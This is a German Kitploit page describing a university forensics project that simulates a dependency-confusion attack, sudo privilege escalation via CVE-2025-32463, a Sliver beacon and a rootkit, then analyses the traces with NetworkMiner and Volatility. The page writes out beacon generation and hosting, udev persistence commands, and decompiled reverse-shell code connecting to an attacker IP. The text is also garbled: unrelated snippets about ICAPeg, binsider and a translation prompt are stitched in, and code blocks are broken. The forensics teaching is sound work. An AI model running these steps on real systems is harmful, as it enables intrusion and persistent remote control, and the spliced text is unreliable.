Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/ic3-512/linux-root-kit
Privilege EscalationExploit-FrameworksSpeicherforensikPersistenzmechanismenNetzwerkforensikReverse EngineeringDigitale ForensikCommand and ControlLieferkettensicherheitLernen & BildungLabs & Praxis
1014vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
ic3-512/linux-root-kit

linux-root-kit

Ende-zu-Ende-Simulation eines Python-Abhängigkeitsverwirrungsangriffs, sudo-Privilegieneskalation (CVE-2025-32463) und rootkit-basierte Persistenz – mit vollständiger Speicher- und Netzwerkforensikanalyse.

Repository anzeigen

Über dieses Projekt

Dieses Projekt wurde im Rahmen des Kurses Digitale Forensik an der Technischen Hochschule Deggendorf entwickelt.

Es demonstriert eine vollständige forensische Untersuchung und Angriffssimulation, die Folgendes umfasst:

  • Ein Python Dependency-Confusion-Angriff unter Verwendung eines bösartigen PyPI-Pakets

  • Privilegieneskalation über eine verwundbare Version von sudo (CVE-2025-32463)

  • Einsatz eines Sliver C2-Beacons

  • Ein benutzerdefiniertes Rootkit mit Kernelmodul-Laden, Syscall-Hooking und udev-basierter Persistenz

  • Vollständige Analyse von Speicher- und Netzwerkartefakten mit Tools wie Volatility, NetworkMiner und manuellem Reversing

Das Repository enthält Skripte, Setup-Anleitungen, Artefakte , und detaillierte Analyseschritte, um sowohl den Angriff als auch die forensische Untersuchung zu replizieren.

Inhaltsverzeichnis

  • Privilegieneskalation
  • Exploit-Kette
  • Artefaktgenerierung
    • Speicherabbild erstellen
    • Netzwerkdump auf Ubuntu vorbereiten
  • Einrichten des Developer Ubuntu Clients (shell)
    • 1. Repository klonen und ausführen
    • 2. Sobald die VM läuft, per SSH einloggen
    • 3. Die verwundbare sudo-Version und Python-Venv installieren
    • 4. Den Userland-Loader-Binary (shell) erstellen
    • 5. Sende die shell an den Kali, um sie später von dort bereitzustellen.
  • Einrichten von Kali (192.168.56.101)
    • 1. Sliver-Server starten
    • 2. HTTP-Beacon generieren
    • 3. Beacon umbenennen und bereitstellen
    • 4. Listener starten
  • Entwickler simulieren
    • 1. PoC klonen
    • 2. Python-Venv erstellen und aktivieren
    • 3. Abhängigkeiten installieren
    • 4. Das bösartige Paket ausführen
  • Angreifer simulieren
    • 1. Auf das Beacon warten und die Sudo-Version überprüfen
    • 2. Exploit und Loader hochladen
    • 3. Sudo-Exploit ausführen
    • 4. Kernelmodul laden
    • 5. Udev-Regel einrichten
    • 6. Neustart
    • 7. Shell beim Neustart abfangen
  • Analyse
    • Übersicht der gesammelten Artefakte
    • Schnelle Netzwerkübersicht mit NetworkMiner
    • Detaillierte Verkehrsanalyse
      • GitHub-Download
      • PyPI-Download
      • Abrufen des bösartigen „lilux“-Binaries
    • Verhalten nach dem Download
      • Sliver-Beaconing
      • Unverschlüsselte Reverse Shell
    • Zusammenfassung
      • Wichtige Erkenntnisse
      • Forensische Implikationen
  • Speicheranalyse
    • Umgebung und Setup
    • Speicherabbild-Akquise
    • Debugsymbole installieren
    • Volatility-Symbol-Datei generieren
    • Volatility mit Symbolen ausführen
    • (Optional) Schnellere Suche mit fzf
    • Interessante Dateien finden
    • Geladene Module
    • Udev-Regel
    • Extrahieren der shell
  • Reversing des shell binary
    • load_module-Zweig
    • rsh-Zweig
      • daemonize-Funktion
      • Reverse Shell
    • Verhaltenszusammenfassung
      • Verhaltenszusammenfassung
  • Reversing des Kernelmoduls
    • Python-Skript zum Extrahieren des Kernelmoduls
      • 1. Bereich erstellen
      • 2. Zieladresse vergleichen
      • 3. Fortfahren, bis eine Übereinstimmung gefunden wird
    • rkit_init
    • Gehookte Funktionen
      • Kill-Hook
      • Getdents(64)-Hook
    • Modulverstecken
    • Debug-Nachrichten
    • Reverse-Shell-Loader
    • rkit_exit
  • Prüfsummen
  • Verwendete Tools und Versionen

Privilegieneskalation

CVE-2025-32463
NVD-Details
POC Github

[!NOTE]
Sie müssen eine verwundbare Sudo-Version installieren (mit chroot-Unterstützung – siehe privesc/setup.sh)

Exploit-Kette```mermaid

sequenceDiagram autonumber participant Attacker participant PyPI participant IntDep as Internal Dep Server participant Dev as Developer participant C2 as C2 Server

root@kitploit:~
Attacker->>PyPI: Publish package with version v1.0.3
Dev->>IntDep: pip install
IntDep-->>Dev: Returns v1.0.1
Dev->>PyPI: Fallback pip install package==v1.0.3
PyPI-->>Dev: Returns malicious v1.0.3 (stager)
Dev->>Dev: Executes stager (package_evil)
Dev->>C2: Beacon/Sliver implant calls home
Note right of C2: Attacker now has RCE

Attacker->>Dev: Enumerates sudo version (1.9.16p2)
Attacker->>Dev: Runs CVE-2025-32463 exploit
Note right of Dev: PE to root

Dev->>Dev: Downloads & runs rootkit loader binary
Dev->>Dev: Loader installs kernel module & configures udev rule
Dev->>Dev: Schedules reboot
Note right of Dev: Attacker established persistence 

Dev->>Dev: System reboots
Dev->>Dev: Udev loads kernel module on boot
Dev->>C2: Kernel-stage beacon calls C2
root@kitploit:~
# Artefakterstellung

Alle Artefakte werden manuell erstellt. Sie werden zwei Maschinen verwenden:
- **Angreifer-Maschine** (Kali Linux)
- **Entwickler-Maschine** (Ubuntu)

Wir werden drei Artefakte erstellen:
- **PCAP** (vor Neustart)
- **Speicherauszug** (nach Neustart)

## Speicherauszug erstellen
[So dumpen Sie den VirtualBox-Speicher](https://www.ired.team/miscellaneous-reversing-forensics/dump-virtual-box-memory)


Auf dem Host-System:```shell
vboxmanage list vms
"linux-root-kit_default_1752261916398_20346" {c2d4b5bc-d87f-4dcb-af01-85b78c163fef}
virtualboxvm --startvm "linux-root-kit_default_1752261916398_20346" --dbg

Gehe zu Interface --> Debug In der Debug-Konsole (VMMR0> prompt):```shell .pgmphystofile 'dumpmem_linux_root_kit'

root@kitploit:~
## Netzwerk-Dump auf Ubuntu vorbereiten
Vor der Simulation des Entwicklers starten. Die `! port 22` ist nützlich, um die vagrant ssh Verbindung nicht zu protokollieren.```shell
sudo tcpdump -w output.pcap ! port 22

Einrichtung des Entwickler-Ubuntu-Clients (shell)

1. Repository klonen und ausführen: ```shell

vagrant up

root@kitploit:~
Dies kann eine Weile dauern --> lädt eine gesamte VM herunter, die mit Bento erstellt wurde. 

## 2. Sobald die VM hochgefahren ist, per SSH einloggen:  ```shell
vagrant ssh

3. Installieren Sie das anfällige sudo und Python venv: ```shell

sudo bash /vagrant/privesc/setup.sh sudo apt install python3.12-venv

root@kitploit:~
## 4. Erstelle den Userland-Lader-Binär (shell):

Du kannst auch die `make`-Datei ausführen, um den Userland-Binär `shell` zu erstellen. Das ist der einfachste Weg – andernfalls müsstest du zuerst die richtigen Header installieren :P.

## 5. Sende die `shell` an das Kali, um sie später von dort aus zu liefern.

# Einrichtung Kali (192.168.56.101)

## 1. Starte Sliver-Server  ```shell
sliver

Sliver-Start

2. Erstellen eines HTTP-Beacons ```shell

generate beacon --os linux --format elf --arch amd64 --http 192.168.56.101

root@kitploit:~
![Sliver Beacon erstellen](https://assets.kitploit.com/production/public/readmes/36699/d213950ede6c17da9bce720e79cf2e358748730fab1bde555a184d92341cc61f.png)

## 3. Beacon umbenennen und bereitstellen  ```shell
mv INTERNATIONAL_DETENTION lilux
python3 -m http.server 9001

4. Listener starten ```

http -l 80 -L 0.0.0.0

root@kitploit:~
# Entwickler simulieren

## 1. Klone das PoC

Dieses Repo könnte jedes Repo mit einer verwundbaren Konfiguration für Dependency-Confusion sein :D.  ```
git clone https://github.com/IC3-512/dependency-confusion-attack.git

2. Python-venv erstellen und aktivieren ```

python3 -m venv .venv source .venv/bin/activate

root@kitploit:~
## 3. Abhängigkeiten installieren  ```
pip install --upgrade --force-reinstall --no-cache-dir -r requirements.txt --verbose 

4. Ausführen des schädlichen Pakets ```

python3 app.py

root@kitploit:~
Das sollte das schädliche Paket starten, das unseren Beacon lädt und ausführt.

---

# Simuliere den Angreifer

_(Schlechte OpSec xD)_

## 1. Warte auf den Beacon und überprüfe die sudo-Version:

![Interaktive Sitzung erhalten](https://assets.kitploit.com/production/public/readmes/36699/4730232dbc2909aca3efb51f79f877dd4aa059782fdd4c9f00b7d54cfc642fe8.png)

![Shell erhalten](https://assets.kitploit.com/production/public/readmes/36699/d00bd910f805c33e594d42e0334594fabada9452eed44698891fbc27bf64de9f.png)  ```
sudo -V

2. Exploit und Loader hochladen

Die exploit.sh stammt von pr0v3rbs (Github link) und zielt auf sudo ab. Das shell-Binary stammt aus dem vorherigen Schritt während der Ubuntu-Bereitstellung.

Dies geschieht im Sliver Server TUI: ```shell upload exploit.sh upload shell

root@kitploit:~
## 3. Sudo-Exploit ausführen

Dies wird in der sliver OBVIOUS_MEASUREMENT-Sitzung innerhalb einer Shell ausgeführt.  ```shell
bash exploit.sh

Privesc

4. Kernelmodul laden

Kernelmodul laden

5. Einrichten einer udev-Regel ```

echo 'ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/shell load"' | sudo tee /etc/udev/rules.d/99-load-rootkit.rules

root@kitploit:~
![Setting persistence](https://assets.kitploit.com/production/public/readmes/36699/8072c7bb9f8d4a996766d5ba9e2ee2459c32ab6dab00af385ac0320e14affce0.png)

## 6. Neustart

![Reboot](https://assets.kitploit.com/production/public/readmes/36699/52d431f3dc8efd101c4be295299817c0dda223b35160684b933f79849f4c72bf.png)

## 7. Shell beim Neustart abfangen

![Revshell](https://assets.kitploit.com/production/public/readmes/36699/0b70166137aac20ef23fa57a9530e694049bdcc0b3732a3c68aa45d8c5036a05.png)


# Analyse

## Übersicht der gesammelten Artefakte

Drei wichtige Artefakte wurden für die forensische Analyse gesammelt:
- **Speicherauszug** (nach Infektion und Neustart)
- **Netzwerkaufzeichnung (output.pcap)**

Diese Artefakte ermöglichen die Rekonstruktion der Angriffszeitleiste, die Identifizierung schädlicher Binärdateien und die Analyse von Persistenzmechanismen.

## Schnelle Netzwerkübersicht mit NetworkMiner
NetworkMiner wurde verwendet, um Endpunkte und Dateien aus der Netzwerkaufzeichnung zu extrahieren ([Network Miner](https://www.netresec.com/?page=Blog&month=2025-04&post=How-to-Install-NetworkMiner-in-Linux)).```shell
mono /opt/NetworkMiner/NetworkMiner.exe --noupdatecheck

NetworkMiner-Übersicht Verbindungszusammenfassung

Wesentliche Erkenntnis:

  • Der Entwickler-Client (10.0.2.15) stellte ausgehende Verbindungen auf den Ports 80 und 9001 zu 192.168.56.101 sowie zu GitHub und PyPI her.
  • 192.168.56.101 wird als der vom Angreifer kontrollierte C2-Server identifiziert und steht im Mittelpunkt der weiteren Untersuchungen.

Detaillierte Datenverkehrsanalyse

GitHub-Download

  • Pakete 5–51: Verbindung zu github.com über HTTPS. Es wurden keine verdächtigen Nutzlasten extrahiert; die Aktivität entspricht dem legitimen Abruf von Abhängigkeiten.

GitHub Traffic

PyPI-Download

  • Pakete 58–112: Verbindung zu pypi.org über HTTPS. Standard-Paketabruf; keine Hinweise auf Manipulation während der Übertragung.

PyPI Traffic

Abruf der schädlichen Binärdatei „lilux“

  • Pakete 116–1529: HTTP-GET-Anfrage an 192.168.56.101 für /lilux. Der rohe TCP-Stream wurde extrahiert und die HTTP-Header entfernt, was zur Datei lilux_hex führte.```shell sha256sum lilux_hex cb9ec2399929bae6383148dc983b0e07571534f65293fa085adac31bf35fd543
root@kitploit:~
Die Analyse mit VirusTotal bestätigte, dass es sich bei dieser Binärdatei um ein **Sliver** C2-Implantat handelt.

![VirusTotal Sliver Detection](https://assets.kitploit.com/production/public/readmes/36699/e8f6ca4ca1b281c9d98c62c672aa81fc31da931e55b95507bb9d0729d41a5953.png)

## Verhalten nach dem Download

### Sliver Beaconing
Unmittelbar nach der Ausführung der Binärdatei „lilux“ initiiert sie ein HTTP-Beacon an **192.168.56.101:80**. Es wird bis zum Paket 3642 anhaltender C2-Verkehr beobachtet, was eine aktive Kommunikation mit dem Angreifer bestätigt.

![Sliver Beaconing](https://assets.kitploit.com/production/public/readmes/36699/84956f46faf031ea3c96a16fde8bcf3239c455eb787974c53c20cc3d4f779001.png)

### Unverschlüsselte Reverse Shell
Parallel zum Sliver-Verkehr wird eine **unverschlüsselte TCP-Reverse-Shell** zu **192.168.56.101** aufgebaut. Erfasste Befehle sind:```shell
id

Shell: id```shell hostname

root@kitploit:~
![Shell: hostname](https://assets.kitploit.com/production/public/readmes/36699/8accd0c6ba033dce079b783ba5cc901c4587ecd66ec6eb89511d47d858c30868.png)

Die vollständige Shell-Sitzung wird in den Paketen 3600–3800 erfasst und liefert Beweise für interaktive Angreiferkontrolle.

![Reverse-Shell-Datenverkehr](https://assets.kitploit.com/production/public/readmes/36699/318e81d4980fe84a9a3ca0b4fd77524dc218d39065fb133bd8cd1cca9151576d.png)
![Shell-Sitzung](https://assets.kitploit.com/production/public/readmes/36699/ad9019112cf2a3b49ac0cef148c51f50aa1d759c07215624acf8605dd58d1994.png)


## Zusammenfassung

### Wichtigste Erkenntnisse
1. **Opfer-Host (10.0.2.15)** lud eine schädliche „lilux“-Binärdatei von **192.168.56.101** herunter.
2. Die Binärdatei wurde als Sliver-Implantat bestätigt, das sofort einen Beacon an den C2-Server unter derselben IP sendete.
3. Es wurde auch eine unabhängige, unverschlüsselte Reverse-Shell zum selben Server eingerichtet, was direkte Angreiferkontrolle ermöglicht.

### Forensische Implikationen
- Das Vorhandensein sowohl verschlüsselter (Sliver) als auch unverschlüsselter (Reverse-Shell) C2-Kanäle zeigt geschichtete Persistenz und Redundanz in den Werkzeugen des Angreifers.
- Netzwerkartefakte liefern einen klaren Zeitplan der Infektion, der Bereitstellung der Nutzlast und der Interaktion des Angreifers.

# Speicheranalyse

## Umgebung und Einrichtung
Die Entwickler-VM wurde mit Bento (`bento/ubuntu-24.04`) provisioniert und über Vagrant verwaltet. Dies gewährleistete eine reproduzierbare Umgebung sowohl für die Infektion als auch für die forensische Analyse.```shell
vagrant up
vagrant ssh

Speicher-Dump-Erfassung

Der Speicher-Dump wurde nach der Infektion und dem Neustart erfasst und liefert eine Momentaufnahme aller geladenen Module, Prozesse und Artefakte zum Zeitpunkt der Analyse.```shell sha256sum dumpmem_linux_root_kit bcc73188e6905357a514107e4eac7557bce17b7e747aa1cca416c43f56c22367 dumpmem_linux_root_kit

root@kitploit:~
## Debug-Symbole installieren```
vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit  banner      
Volatility 3 Framework 2.26.0
Progress:  100.00		PDB scanning finished                  
Offset	Banner

0x108c00120	Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC  (Ubuntu 6.8.0-53.55-generic 6.8.12)
0x108dadd60	Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)
0x10a5e1220	Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)2)
0x1105b5cd8	Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)
0x114befcd8	Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)
0x114de9cd8	Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)

Windows

Um den ICAPeg Standalone-Server auszuführen, rufen Sie die entsprechende Download-Seite auf und laden Sie die Release-Binärdatei für Windows herunter.

Sobald die Release-Binärdatei in einen lokalen Ordner heruntergeladen wurde, doppelklicken Sie darauf und erlauben Sie der Anwendung, im Netzwerk zu lauschen, wenn Sie von der Windows-Firewall dazu aufgefordert werden.

Eine .env.example-Datei ist im ZIP-Archiv enthalten. Wir empfehlen, sie in .env umzubenennen, sie dann mit einem Texteditor wie notepad.exe zu bearbeiten und den Wert von ICAPEG_RESP_MOD_VIRUS entsprechend Ihrer Umgebung anzupassen.

Die Abhör-Adresse und der Port können über die Kommandozeilen-Flags -H und -p geändert werden (z. B. .\icapeg.exe -H 127.0.0.1 -p 1344).

Um einen externen C-ICAP-Server anstelle des integrierten zu verwenden, starten Sie den ICAPeg Standalone-Server mit dem --external-Flag (z. B. .\icapeg.exe --external). Siehe den entsprechenden Abschnitt für Details.``` vagrant@linux-root-kit:~$ uname -a Linux linux-root-kit 6.8.0-53-generic #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

root@kitploit:~
## Installation

You can get a pre-compiled version of the binary in the [releases](https://github.com/orhun/binsider/releases) page.

Or you can install with cargo:

```bash
cargo install binsider

Requirements

  • Runtime: cargo-quickinstall / cargo
  • Libraries: OpenSSL (used for SSH), zlib (used for decompression), fontconfig (used for terminal UI rendering)``` sudo apt install ubuntu-dbgsym-keyring echo "Types: deb URIs: http://ddebs.ubuntu.com/ Suites: $(lsb_release -cs) $(lsb_release -cs)-updates $(lsb_release -cs)-proposed Components: main restricted universe multiverse Signed-by: /usr/share/keyrings/ubuntu-dbgsym-keyring.gpg" |
    sudo tee -a /etc/apt/sources.list.d/ddebs.sources sudo apt update
root@kitploit:~
Dieser nächste Schritt kann bis zu einer Stunde dauern.```
sudo apt install linux-image-$(uname -r)-dbgsym

ls /usr/lib/debug/boot/vmlinux-6.8.0-53-generic 

Generieren der Volatility-Symbol-Datei```

git clone https://github.com/volatilityfoundation/dwarf2json cd dwarf2json go build ./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-6.8.0-53-generic > linux-6.8.0-53-generic.json

root@kitploit:~
UMGEBUNG UND VERWENDUNG

- Arbeitsverzeichnis: `/tmp/linux-exploit-suggester`
- Pakete: `bash`, `binutils`, `python3.9+````
mkdir symbols 
mv dwarf2json/linux-6.8.0-53-generic.json  .

Volatility mit Symbolen ausführen```

uv run vol -f dumpmem_linux_root_kit -s symbols linux.pslist

root@kitploit:~
Fzf wird verwendet, um die Ausgabe in den Speicher zu leiten und dort per Fuzzy-Suche zu durchsuchen → Beschleunigung, ohne die gesamte Vol-Ausführung erneut starten zu müssen

## (Optional) Schnellere Suche mit fzf```
git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf
~/.fzf/install

Auffinden interessanter Dateien

Suche nach interessanten Dateien in den zwischengespeicherten Dateien: `/var/log/dmesg```` vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.Files | fzf 0x8befcc063800 / 252:0 1704447 0x8befc61393a8 REG 15 15 -rw-r----- 2025-07-11 21:29:36.302604 UTC 2025-07-11 21:29:36.324615 UTC 2025-07-11 21:29:36.324615 UTC /var/log/dmesg 57657

root@kitploit:~
Extrahieren der dmesg-Protokolldatei:```
vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.InodePages --inode 0x8befc61393a8 --dump
Volatility 3 Framework 2.26.0
Progress:  100.00		Stacking attempts finished           
PageVAddr	PagePAddr	MappingAddr	Index	DumpSafe	Flags

Geladene Module

Beim Durchsuchen des Logs finden wir einen verdächtigen Log:``` cat inode_0x8befc61393a8.dmp | grep 'OE+'

599:[ 6.756001] kernel: Modules linked in: leds_ss4200(-) rkit(OE+) vmwgfx(+) intel_cstate(-) lpc_ich drm_ttm_helper ttm vboxguest(OE) i2c_piix4 input_leds mac_hid serio_raw sch_fq_codel dm_multipath msr efi_pstore nfnetlink dmi_sysfs ip_tables x_tables autofs4 btrfs blake2b_generic raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 crct10dif_pclmul crc32_pclmul polyval_clmulni polyval_generic ghash_clmulni_intel sha256_ssse3 e1000 sha1_ssse3 ahci libahci psmouse pata_acpi video wmi aesni_intel crypto_simd cryptd

root@kitploit:~
Das zeigt ein nicht standardmäßiges Modul `rkit` an!

 - `O` = Out-of-tree (nicht aus dem Standard-Kernel)

 - `E` = hat den Kernel verunreinigt (externes Modul)

 - `+` = geladen

Bei der Suche nach dieser Funktion fanden wir diese Meldung:```
vagrant@linux-root-kit:~$ cat inode_0x8befc61393a8.dmp | grep rkit -n 
--snip--
666:[    6.777129] kernel: rkit: loaded

Dies ist wahrscheinlich eine übrig gebliebene Debug-Meldung im schädlichen Modul.

Udev-Regel

Fuzzy-Suche nach rkit ergibt:``` vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.Files | fzf
0x8befcc063800 / 252:0 1049109 0x8befcbf9bd48 REG 1 1 -rw-r--r-- 2025-07-11 21:28:20.652169 UTC 2025-07-11 21:28:06.260978 UTC 2025-07-11 21:28:06.260978 UTC /etc/udev/rules.d/99-load-rootkit.rules 68

root@kitploit:~
Dumping der Regel```
uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.InodePages --inode 0x8befcbf9bd48 --dump
vagrant@linux-root-kit:~$ cat inode_0x8befcbf9bd48.dmp 
ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/shell load"

Beim Greppen nach der Major-Nummer fanden wir heraus, dass es sich um /dev/random handelt.``` ls -l /dev | grep '^c.* 1,' crw-rw-rw- 1 root root 1, 7 Jul 13 23:16 full crw-r--r-- 1 root root 1, 11 Jul 13 23:16 kmsg crw-r----- 1 root kmem 1, 1 Jul 13 23:16 mem crw-rw-rw- 1 root root 1, 3 Jul 13 23:16 null crw-r----- 1 root kmem 1, 4 Jul 13 23:16 port crw-rw-rw- 1 root root 1, 8 Jul 13 23:16 random crw-rw-rw- 1 root root 1, 9 Jul 13 23:16 urandom crw-rw-rw- 1 root root 1, 5 Jul 13 23:16 zero

root@kitploit:~
Schlussfolgerung: Jedes Mal, wenn `/dev/random` beim Booten hinzugefügt wird, wird der Befehl `/shell load` ausgeführt!





## Extrahieren der `shell`
Suchfunktion in paginierten Dateien nach der Programm-Shell:```
vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.Files | fzf
0x8befcc063800	/	252:0	17	0x8befcbfc5908	REG	109	109	-rwxrwxr-x	2025-07-11 21:27:53.625663 UTC	2025-07-11 21:27:39.755732 UTC	2025-07-11 21:27:45.437571 UTC	/shell	442880

Eingabe:``` uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.InodePages --inode 0x8befcbfc5908 --dump file inode_0x8befcbfc5908.dmp

root@kitploit:~
Bitte fügen Sie den zu übersetzenden Markdown-Inhalt ein.```
vagrant@linux-root-kit:~$ file inode_0x8befcbfc5908.dmp 
inode_0x8befcbfc5908.dmp: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=805a820b2000eb4476724f4861a57659c9488994, for GNU/Linux 3.2.0, not stripped

Reversing of shell binary

Verwenden von Ghidra mit Standardeinstellungen:

Ghidra-Funktionen

Disassemblierte main```c undefined8 main(int param_1,undefined8 *param_2)

{ int iVar1; uint __fd; undefined8 uVar2; int *piVar3; char *pcVar4; long in_FS_OFFSET; sockaddr local_a8; char local_98 [136]; long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28); if (param_1 < 2) { fprintf(stderr,"Invalid command. Usage: %s [load|rsh]\n",*param_2); uVar2 = 1; } else { iVar1 = strcmp((char *)param_2[1],"load"); if (iVar1 == 0) { fwrite("loading module",1,0xe,stdout); load_module(); uVar2 = 0; } else { iVar1 = strcmp((char *)param_2[1],"rsh"); if (iVar1 == 0) { fwrite("starting shell\n",1,0xf,stdout); daemonize(); do { while( true ) { while( true ) { __fd = socket(2,1,0); if (-1 < (int)__fd) break; piVar3 = __errno_location(); pcVar4 = strerror(*piVar3); snprintf(local_98,0x80,"socket failed: %s",pcVar4); log_msg(local_98); sleep(5); } local_a8.sa_family = 2; local_a8.sa_data.0_2 = htons(0x2329); local_a8.sa_data.2_4 = inet_addr("192.168.56.101"); snprintf(local_98,0x80,"Connecting to %s:%d","192.168.56.101",0x2329); log_msg(local_98); snprintf(local_98,0x80,"About to call connect on s=%d",(ulong)__fd); log_msg(local_98); iVar1 = connect(__fd,&local_a8,0x10); if (iVar1 != 0) break; log_msg("Connection established, spawning shell"); dup2(__fd,0); dup2(__fd,1); dup2(__fd,2); execl("/bin/bash","bash",0); piVar3 = __errno_location(); pcVar4 = strerror(*piVar3); snprintf(local_98,0x80,"execl failed: %s",pcVar4); log_msg(local_98); close(__fd); sleep(5); } piVar3 = __errno_location(); pcVar4 = strerror(*piVar3); snprintf(local_98,0x80,"connect failed: %s",pcVar4); log_msg(local_98); close(__fd); sleep(5); } while( true ); } uVar2 = 1; } } if (local_10 != *(long )(in_FS_OFFSET + 0x28)) { / WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; }

root@kitploit:~
Die Disassemblierungsansicht in Ghidra (siehe Abbildungen oben) zeigt, dass die `main`-Funktion mit der Überprüfung der Anzahl der Befehlszeilenargumente beginnt. Wenn weniger als zwei Argumente angegeben werden, wird eine Fehlermeldung ausgegeben und das Programm beendet.

Wenn das erste Argument der Zeichenfolge `"load"` entspricht, schreibt `main` `loading module` in die Standardausgabe, ruft die Funktion `load_module` auf und gibt 0 zurück. Wenn das erste Argument `"rsh"` entspricht, schreibt es `starting shell` in die Standardausgabe, ruft `daemonize()` auf und tritt dann in die `remote_shell_loop` ein, die nie zurückkehrt. Jedes andere Argument führt ebenfalls zu einem Exit-Code von 1.

## load_module Branch```c
int load_module(void)

{
  long lVar1;
  int *piVar2;
  char *pcVar3;
  long in_FS_OFFSET;
  char local_98 [136];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  lVar1 = syscall(0xaf,&rkit_ko,(ulong)rkit_ko_len,&DAT_00102035);
  if ((int)lVar1 == 0) {
    log_msg("Module loaded via init_module !!!");
  }
  else {
    piVar2 = __errno_location();
    pcVar3 = strerror(*piVar2);
    snprintf(local_98,0x80,"init_module failed: %s",pcVar3);
    log_msg(local_98);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return (int)lVar1;
}

Es ruft die Syscall-Nummer 0xaf auf, was __NR_init_module unter Linux ist .

Die load_module-Funktion verwendet den Linux-Kernel-Syscall init_module (Syscall-Nummer 0xAF), um den eingebetteten Modulcode direkt aus dem Speicher zu laden. Sie ruft syscall(__NR_init_module, &rkit_ko, rkit_ko_len, "") auf (Lookup table for syscalls).

Syscall

Dieser Ansatz stellt sicher, dass das Modul niemals auf der Festplatte erscheint – es wird keine .ko-Datei geschrieben. Das Kernelmodul wird vollständig aus einem Byte-Array geladen, das in der Userland-Loader-Binärdatei eingebettet ist.

Danach kehrt das Programm zurück.

rsh-Zweig

Wenn das Argument rsh ist, ruft das Programm nach dem Schreiben der Start-Shell daemonize() auf.```c iVar1 = strcmp((char *)param_2[1],"rsh"); if (iVar1 == 0) { fwrite("starting shell\n",1,0xf,stdout); daemonize();

root@kitploit:~
    ---snippet--
}
root@kitploit:~
### Daemonize-Funktion```c

void daemonize(void)

{
  __pid_t _Var1;
  
  _Var1 = fork();
  if (_Var1 < 0) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if (0 < _Var1) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  _Var1 = setsid();
  if (_Var1 < 0) {
    log_msg("setsid failed");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  close(0);
  close(1);
  close(2);
  _Var1 = getpid();
  kill(_Var1,0x3f);
  return;
}

